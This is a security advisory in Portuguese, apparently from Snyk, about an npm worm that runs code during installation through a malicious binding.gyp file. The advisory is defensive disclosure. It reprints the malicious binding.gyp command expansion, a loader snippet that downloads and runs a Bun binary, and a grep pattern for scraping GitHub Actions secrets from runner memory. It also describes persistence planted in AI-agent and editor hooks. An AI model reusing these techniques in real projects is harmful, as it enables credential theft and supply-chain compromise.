Skip to main content

Comprometimento da cadeia de suprimentos do node-gyp: um worm npm que se autopropaga e se esconde em binding.gyp

Escrito por
feature insights announcement

4 de junho de 2026

0 minutos de leitura

Um ataque à cadeia de suprimentos está se espalhando ativamente pelo registro do npm ao explorar um arquivo que a maioria das ferramentas de segurança nem verifica: binding.gyp. Em vez de depender dos scripts de ciclo de vida preinstall ou postinstall, que são bem monitorados, o malware inclui um arquivo binding.gyp malicioso que aciona o node-gyp para executar automaticamente código controlado pelo invasor durante o npm install. A Snyk está acompanhando o incidente como Comprometimento da cadeia de suprimentos do Node-gyp - junho de 2026. São 57 pacotes afetados, com centenas de versões maliciosas, todas classificadas como código malicioso incorporado, com gravidade Crítica.

O payload rouba credenciais de desenvolvedores e ambientes de CI/CD em npm, GitHub, AWS, GCP, Azure, HashiCorp Vault e Kubernetes; exfiltra os dados por repositórios do GitHub controlados pelo invasor; injeta fluxos de trabalho do GitHub Actions para manter a persistência; e se propaga ao republicar pacotes a partir de qualquer conta de mantenedor que consiga acessar. A StepSecurity, que relatou a campanha primeiro, chamou a técnica de execução durante a instalação de "Phantom Gyp" e acompanha a campanha mais ampla como "Miasma", descendente da família de worms Shai-Hulud.

Em resumo

Tipo de ataque

Worm da cadeia de suprimentos por meio de contas de mantenedores comprometidas

Técnica inédita

Execução de código durante a instalação por meio de binding.gyp / node-gyp, e não de preinstall/postinstall

Monitoramento da Snyk

Gravidade

Crítica (código malicioso incorporado)

Data do incidente

3 de junho de 2026 (onda principal); variante anterior do Miasma em 1º de junho de 2026

Pacotes comprometidos

57 pacotes, centenas de versões maliciosas

Vítimas com mais tráfego

@vapi-ai/server-sdk, ai-sdk-ollama

Comportamento do malware

Roubo de credenciais, injeção no GitHub Actions, persistência e propagação do worm pelo npm e RubyGems

Ação imediata

Fixe versões confiáveis, execute npm install --ignore-scripts e altere todas as credenciais acessíveis

Pacotes afetados

A Snyk lista 57 pacotes afetados. Confirmamos que as versões maliciosas listadas ainda podem ser obtidas no registro público (por exemplo, as quatro versões de @vapi-ai/server-sdk retornam tarballs disponíveis em registry.npmjs.org), com datas de publicação em 3 e 4 de junho de 2026. Estas são as vítimas com mais tráfego, segundo os dados semanais de downloads da API do registro do npm:

Pacote

Downloads semanais

Versões maliciosas

~86.500 (api.npmjs.org)

0.11.1, 0.11.2, 1.2.1, 1.2.2

~36.900 (api.npmjs.org)

0.13.1, 1.1.1, 2.2.1, 3.8.5

~5.900 (api.npmjs.org)

2.26.4, 3.4.3

1.33.3

A maioria dos 57 pacotes se concentra em uma única conta do npm. Uma consulta ao registro mostra que todos os 25 pacotes autotel e autotel-* têm o mesmo mantenedor, jagreehal, a mesma conta que publica o escopo @jagreehal/* e o awaitly. Essa concentração em uma única conta é exatamente o que se esperaria de um worm que enumera e republica tudo o que uma conta comprometida consegue acessar:

  • Família autotel-* (24 pacotes, além do próprio autotel): inclui autotel-mcp (com versões que vão de 0.1.14 a 29.0.1), autotel-subscribers, autotel-terminal, autotel-mongoose, autotel-eventcatalog, autotel-devtools, autotel-aws, autotel-cloudflare, autotel-hono, autotel-playwright, autotel-sentry e outros

  • Família eslint-plugin-executable-stories-* (a Snyk já abordou malware na cadeia de suprimentos do npm em plugins do ESLint)

  • Pacotes @jagreehal/*

  • @evolvconsulting/evolv-coder-lite

Muitos dos números de versão inflados (por exemplo, autotel-mcp chegando à série 29.x, ou autotel recebendo as versões 2.26.4 e 3.4.3 publicadas no mesmo minuto em 4 de junho) são, por si só, consequência da republicação automatizada do worm, e não de lançamentos legítimos. A lista completa e atualizada continuamente de pacotes e versões afetados está na página do incidente da Snyk.

Um detalhe importante para a correção: em pelo menos alguns pacotes, a tag de distribuição latest já foi redirecionada para uma versão limpa (no caso de autotel, latest agora aponta para 3.4.2, publicada antes das versões maliciosas), mas as versões maliciosas não foram removidas. No momento da publicação, autotel@3.4.3 e autotel@2.26.4 ainda retornam tarballs disponíveis. Um npm install autotel feito agora talvez instale a versão limpa, mas qualquer arquivo de lock, versão fixada ou dependência transitiva que faça referência a uma versão maliciosa ainda baixará o malware. Não considere uma tag latest limpa como prova de que você está seguro.

Como o ataque funciona

A novidade: execução durante a instalação por meio de binding.gyp

Quando você executa npm install em um pacote que contém um arquivo binding.gyp e não tem um binário pré-compilado correspondente, o npm encaminha o pacote ao node-gyp e executa node-gyp rebuild para compilar o que presume ser um complemento nativo em C/C++. Esse é o comportamento normal e esperado para qualquer pacote com componentes nativos, e ocorre sem que haja uma entrada preinstall ou postinstall em qualquer lugar do package.json.

A sintaxe de configuração de build do GYP permite expandir comandos. A forma <!(...) executa um comando de shell durante a fase de configuração e substitui sua saída na definição do build. Os pacotes comprometidos exploram isso diretamente. Este é o arquivo binding.gyp exato, com 157 bytes, distribuído em @vapi-ai/server-sdk@1.2.2 e autotel@3.4.3 (idêntico byte a byte nos pacotes que analisamos):

{
  "targets": [
    {
      "target_name": "Setup",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}

A expressão <!(node index.js ...) executa node index.js enquanto o node-gyp está apenas configurando o build, muito antes de qualquer compilador ser iniciado. O destino "type": "none" significa que nada é compilado de fato; portanto, o efeito colateral da expansão do comando (executar index.js) é o objetivo inteiro. A saída é redirecionada para /dev/null para que a instalação pareça normal, e echo stub.c retorna um nome de arquivo-fonte plausível para que o gyp continue sem erros óbvios. O resultado é a execução de código arbitrário durante um simples npm install.

É importante destacar que o package.json desses tarballs não contém scripts preinstall, postinstall, install nem prepare. As únicas entradas em scripts são tarefas comuns de desenvolvimento (build, lint, test, format), e o pacote nem sequer declara "gypfile": true. Não há nada no package.json que as ferramentas focadas em scripts possam sinalizar; a presença de um arquivo binding.gyp basta para o npm acionar o node-gyp por conta própria.

O payload: um loader em várias etapas baseado em Bun

O index.js acionado por binding.gyp é um loader ofuscado de 4,5 MB. Decodificamos estaticamente as camadas externas a partir do tarball publicado (sem executá-lo) e confirmamos a seguinte sequência:

  1. Cifra de César ROT-14. O arquivo inteiro consiste em um único eval sobre um array de códigos de caracteres com cerca de 1,3 milhão de entradas, convertido em uma string e deslocado em 14 posições. O trecho visível é literalmente eval(function(s,n){return s.replace(/[a-zA-Z]/g,...rotate...)}([...],14)).

  2. Camada de descriptografia automática AES-128-GCM. A etapa decodificada é uma IIFE async que importa node:crypto e define um descriptografador aes-128-gcm (createDecipheriv com uma tag de autenticação de 16 bytes). Em seguida, descriptografa dois blocos de texto cifrado incorporados, cujas chaves hexadecimais, IVs e tags de autenticação estão codificados diretamente no arquivo.

  3. Loader do runtime Bun (bloco de 907 bytes). O primeiro bloco descriptografado detecta o sistema operacional e a arquitetura, baixa um binário autônomo do Bun v1.3.13 das versões oficiais do GitHub oven-sh/bun para um diretório temporário e o executa:

 const url="https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-"+os+"-"+a+".zip"
 execSync('curl -sSL "'+url+'" -o "'+zip+'"',{stdio:"pipe"})
 execSync('unzip -j -o "'+zip+'" -d "'+dir+'"',{stdio:"pipe"})
chmodSync(exe,"755")
  1. Payload principal (bloco de ~649 KB). O segundo bloco descriptografado (664.535 bytes) contém a lógica de roubo em si, executada pelo binário do Bun baixado, e não pelo processo Node.js que iniciou a instalação.

Executar a lógica principal em um binário do Bun baixado, em vez de usar o processo node que iniciou a instalação, é uma técnica deliberada de evasão: o monitoramento limitado a processos filhos do Node.js durante o npm install não detectará o processo do Bun que realiza o trabalho de fato. Isso também explica por que uma busca por strings em texto simples no index.js não encontra credenciais nem indicadores de C2: esse comportamento está dentro do bloco executado pelo Bun. Não executamos essa etapa final do Bun; por isso, o catálogo de comportamentos abaixo se baseia em análises divulgadas publicamente.

Roubo de credenciais

Quando executado, o payload vasculha ambientes de desenvolvimento e CI/CD em busca de segredos, com foco em:

  • AWS: aws_access_key_id / aws_secret_access_key e o endpoint de metadados IMDSv2 (169.254.169.254)

  • GCP: GOOGLE_APPLICATION_CREDENTIALS e chaves de contas de serviço

  • Azure: tokens de identidade gerenciada via IMDS

  • GitHub Actions: ACTIONS_ID_TOKEN_REQUEST_TOKEN e extração de dados da memória dos processos do runner

  • HashiCorp Vault e Kubernetes: tokens de contas de serviço em caminhos padrão

  • Gerenciadores de senhas: armazenamentos do 1Password, pass e gopass

No GitHub Actions, o payload vasculha a memória dos processos do runner para recuperar segredos mascarados em sua forma não mascarada, usando um padrão como:

tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}'

O mascaramento de segredos do GitHub Actions oculta os segredos nos logs; não os protege de um processo que consiga ler diretamente a memória do runner. Considere exposto qualquer segredo que o runner consiga acessar.

Exfiltração por repositórios do GitHub

Em vez de usar um domínio C2 fixo, o malware usa o próprio GitHub como ponto de encontro e repositório temporário. A atividade foi vinculada à conta do GitHub liuende501, que, no momento da publicação, hospedava 321 repositórios públicos (api.github.com/users/liuende501), algo consistente com o padrão do worm de criar repositórios automaticamente para receber dados roubados. O fluxo é o seguinte:

  1. Localiza o ponto de encontro ao pesquisar commits públicos por uma palavra-chave codificada

  2. Cria um repositório na hora com um nome aleatório

  3. Envia os dados coletados e criptografados como results/results-{timestamp}.json

  4. Faz solicitações à API com o User-Agent python-requests/2.31.0

Usar o GitHub para exfiltrar dados mistura o tráfego à atividade normal de desenvolvedores e de CI, já que conexões de saída para github.com e api.github.com raramente são bloqueadas em ambientes de build.

Propagação do worm entre ecossistemas

O payload se autopropaga, com mecanismos separados para cada ecossistema:

  • Worm do npm: enumera os pacotes de um mantenedor por meio de registry.npmjs.org/-/v1/search?text=maintainer:{username}, baixa cada pacote-alvo, injeta o binding.gyp e o index.js maliciosos e os republica. Como nas ondas anteriores dessa família (veja a cobertura da Snyk sobre TanStack, o primeiro pacote malicioso documentado do npm com proveniência SLSA válida), o worm também forja atestações de proveniência do Sigstore por meio do Fulcio e do Rekor, fazendo com que pacotes reinfectados pareçam ter uma assinatura legítima.

  • Worm do RubyGems: injeta lógica equivalente em extconf.rb, o hook de build de extensões nativas do RubyGems, e reutiliza o mesmo downloader do Bun. O extconf.rb está para o RubyGems assim como binding.gyp está para o npm: é um arquivo de build executado automaticamente e não é um "script" no sentido dos scripts de ciclo de vida.

  • Envenenamento de repositórios do GitHub: insere arquivos com backdoors em repositórios nos quais os tokens roubados têm permissão de escrita, incluindo hooks de agentes de programação com IA e de editores (.claude/, .cursor/rules/, .vscode/tasks.json) que executam novamente o payload quando um desenvolvedor abre o projeto.

O alcance entre ecossistemas (npm e RubyGems) e o uso, em ambos, de arquivos de extensão executados durante o build são o fio condutor desta campanha: encontrar o arquivo executado automaticamente na instalação ou no build, mas que ninguém classifica como “script”.

Análise do impacto

O impacto direto abrange qualquer máquina de desenvolvedor ou runner de CI que tenha executado npm install e resolvido uma das versões dos pacotes afetados. Os ambientes de CI/CD correm mais risco, pois a captura de dados da memória do runner significa que todos os segredos aos quais ele tem acesso — não apenas os definidos explicitamente como variáveis de ambiente — devem ser considerados comprometidos.

As máquinas dos desenvolvedores correm um risco secundário e mais duradouro por causa dos hooks de editores e agentes de IA, que permanecem mesmo após um simples npm uninstall e executam novamente o payload na sessão seguinte.

A probabilidade de a campanha se espalhar ainda mais parece menor do que no auge: os pacotes afetados estão ligados a poucas contas de mantenedores (confirmamos que os 25 pacotes autotel e autotel-* compartilham a mesma conta, jagreehal), e não foram observados lançamentos comprometidos recentes. Ainda assim, as versões maliciosas continuam disponíveis para instalação no npm, então o risco de exposição persiste para quem as obtiver, direta ou indiretamente, antes de serem totalmente removidas.

Detecção

Faça uma verificação com o Snyk. O Snyk publicou alertas sobre as versões afetadas no Snyk Vulnerability Database e criou uma página do incidente em security.snyk.io/node-gyp-supply-chain-compromise-june-2026. Faça uma verificação do seu projeto:

snyk test

Para verificar um arquivo de manifesto ou lockfile específico:

snyk test --file=package-lock.json

Procure a técnica, não apenas os nomes dos pacotes. Como o caminho de execução é binding.gyp, você pode procurá-lo sem depender da lista de pacotes:

# Packages shipping a binding.gyp that contain a node-gyp command-expansion payload
grep -rl '<!(' node_modules/*/binding.gyp node_modules/**/binding.gyp 2>/dev/null

# Suspiciously large root-level index.js files (legit entry points are rarely multi-MB)
find node_modules -maxdepth 2 -name index.js -size +1M 2>/dev/null

# Editor / AI-agent persistence hooks injected into your repo
ls -la .claude/ .cursor/rules/ .vscode/tasks.json 2>/dev/null

Indicadores de rede e comportamento:

  • node-gyp rebuild é executado para pacotes que não têm nenhum complemento nativo legítimo

  • Processos filhos inesperados (curl, unzip, bun) iniciados durante npm install

  • Um binário independente do bun é baixado dos lançamentos de oven-sh/bun durante a instalação, sem que você tenha solicitado o Bun

  • Chamadas à API do GitHub com um User-Agent python-requests/2.31.0 originadas de uma etapa de CI que não é um processo Python

Remediação

Se você não tem certeza se foi afetado, considere que houve um comprometimento confirmado. Os dados coletados são criptografados antes da exfiltração, então não é possível determinar depois o que foi roubado.

Etapa 1: Remova a persistência antes de trocar os tokens. Se hooks de editores ou agentes de IA tiverem sido implantados, remova-os primeiro para que não reajam às alterações nas credenciais:

# Inspect and remove injected hooks
cat .claude/settings.json 2>/dev/null
cat .vscode/tasks.json 2>/dev/null   # remove any "runOn": "folderOpen" entries
rm -rf .cursor/rules/setup.mdc 2>/dev/null

Etapa 2: Limpe e reinstale usando versões confiáveis.

rm -rf node_modules
# Pin affected packages to known-good versions in package.json, then:
npm install --ignore-scripts

--ignore-scripts bloqueia o hook implícito de instalação do npm que executa node-gyp rebuild em pacotes com binding.gyp. No entanto, não deve ser considerado a única proteção: o pacote malicioso ainda pode ser baixado e descompactado, outras ferramentas ou um npm rebuild posterior sem --ignore-scripts podem compilá-lo, e outros gerenciadores de pacotes ou fluxos de trabalho podem se comportar de outra forma. A remediação mais segura continua sendo fixar ou remover as versões maliciosas e fazer uma verificação antes de qualquer etapa de build.

Etapa 3: Troque todas as credenciais acessíveis a partir de uma máquina ou runner afetado:

  • Tokens de publicação do npm

  • Tokens de acesso pessoal do GitHub e secrets do Actions (com escopo de repositório e organização)

  • Chaves de acesso da AWS e quaisquer funções do IAM acessíveis a partir dos runners afetados

  • Chaves de contas de serviço do GCP

  • Entidades de serviço do Azure e escopos de identidade gerenciada

  • Tokens do HashiCorp Vault

  • Tokens de contas de serviço do Kubernetes

  • Qualquer dado em um cofre de gerenciador de senhas visado (1Password, pass, gopass)

Etapa 4: Audite o GitHub em busca de workflows injetados e repositórios de entrega de payloads.

# Look for unexpected workflow files or branches added recently
git log --oneline --all -- .github/workflows/

# Repositories created on your account without your action
gh repo list --json name,createdAt --limit 200

Etapa 5: Reforce as defesas contra a próxima onda.

  • Use npm install --ignore-scripts por padrão na CI (uma prática recomendada para se proteger contra a família mais ampla de ataques durante a instalação) e combine isso com uma etapa de verificação

  • Fixe as dependências em versões exatas, com hashes de integridade no lockfile

  • Considere uma política de espera no registro, que retenha os pacotes publicados nos últimos dias antes de permitir que sejam incluídos nos builds

  • Aplique o princípio do menor privilégio aos tokens de CI/CD para limitar o impacto de um token roubado

  • Use o Snyk para monitorar continuamente sua árvore de dependências e identificar pacotes maliciosos assim que forem sinalizados

O guia do Snyk sobre como prevenir ataques à cadeia de suprimentos do npm traz uma lista de verificação mais abrangente.

Contexto mais amplo: um descendente de Shai-Hulud

Esta é a onda mais recente da linhagem Shai-Hulud / Miasma, uma família de worms do npm que se autorreplicam e atacam o registro repetidamente desde o fim de 2025. O Snyk analisou uma onda anterior do Miasma, em junho de 2026, que atingiu pacotes npm da Red Hat; as descrições dos repositórios de exfiltração usados nessas ondas fazem referência direta às campanhas anteriores do Shai-Hulud. Cada onda reutilizou um ladrão de dados ofuscado que usa o runtime Bun e o ampliou com novos métodos de persistência e rotas de exfiltração, além de novas formas de executar código automaticamente durante a instalação ou o build. Vale compreender a evolução desse truque de execução automática:

  • As ondas anteriores dependiam de scripts de ciclo de vida preinstall / postinstall

  • As ondas seguintes adicionaram hooks de agentes de programação com IA (SessionStart) e tarefas de IDE executadas ao abrir pastas para manter a persistência

  • Nesta onda, a execução inicial passa para binding.gyp / node-gyp (e extconf.rb no RubyGems): arquivos executados durante o build que não são scripts de ciclo de vida

O Snyk analisou em detalhes ondas anteriores desta família de campanhas:

Para conhecer melhor a família de worms da qual este incidente se originou:

Pesquisador de segurança do Snyk explica o worm Mini Shai-Hulud na cadeia de suprimentos do npm e como ele se propaga Mini Shai-Hulud: o ataque mais sofisticado à cadeia de suprimentos do NPM em 2026 (Visão geral da família de worms Shai-Hulud / Miasma e de como ela se autorreplica)

Para acompanhar um passo a passo prático de como encontrar e remediar pacotes comprometidos desta família de campanhas com o Snyk:

Engenheiro de segurança do Snyk mostra como identificar e remediar pacotes npm comprometidos pelo Shai-Hulud usando a CLI do Snyk Ataque Shai-Hulud ao NPM: remediação com o Snyk - Passo a passo para identificar e remediar pacotes comprometidos usando as ferramentas do Snyk.

Para entender como o comprometimento de um pacote legítimo e confiável se encaixa no modelo mais amplo de ameaças à cadeia de suprimentos, a lição do Snyk Learn sobre Comprometimento de pacotes legítimos é um bom ponto de partida.

Cronologia (UTC)

Data

Evento

1º de junho de 2026

Uma variante anterior do Miasma compromete um grupo separado de pacotes npm (relacionados à Red Hat)

3 de junho de 2026

Onda principal: @vapi-ai/server-sdk e dezenas de pacotes das famílias autotel, eslint-plugin-executable-stories e @jagreehal são comprometidos em uma rápida onda automatizada

3 de junho de 2026 em diante

Publicada uma análise técnica da técnica “Phantom Gyp”; o Snyk publica alertas e uma página ativa do incidente

Em andamento

A investigação continua; versões maliciosas seguem disponíveis no npm até serem removidas

Cobertura do Snyk

O Snyk publicou alertas sobre as versões afetadas no Snyk Vulnerability Database e mantém uma página ativa do incidente com a lista dos 57 pacotes e suas versões maliciosas. Os clientes do Snyk podem usar a verificação do Snyk em todo o SDLC para identificar quais projetos obtêm versões afetadas, direta ou indiretamente, e priorizar a remediação com base na exposição.

Consulte o Snyk Vuln Database

Dados confiáveis e insights práticos para ajudar você a desenvolver software com segurança.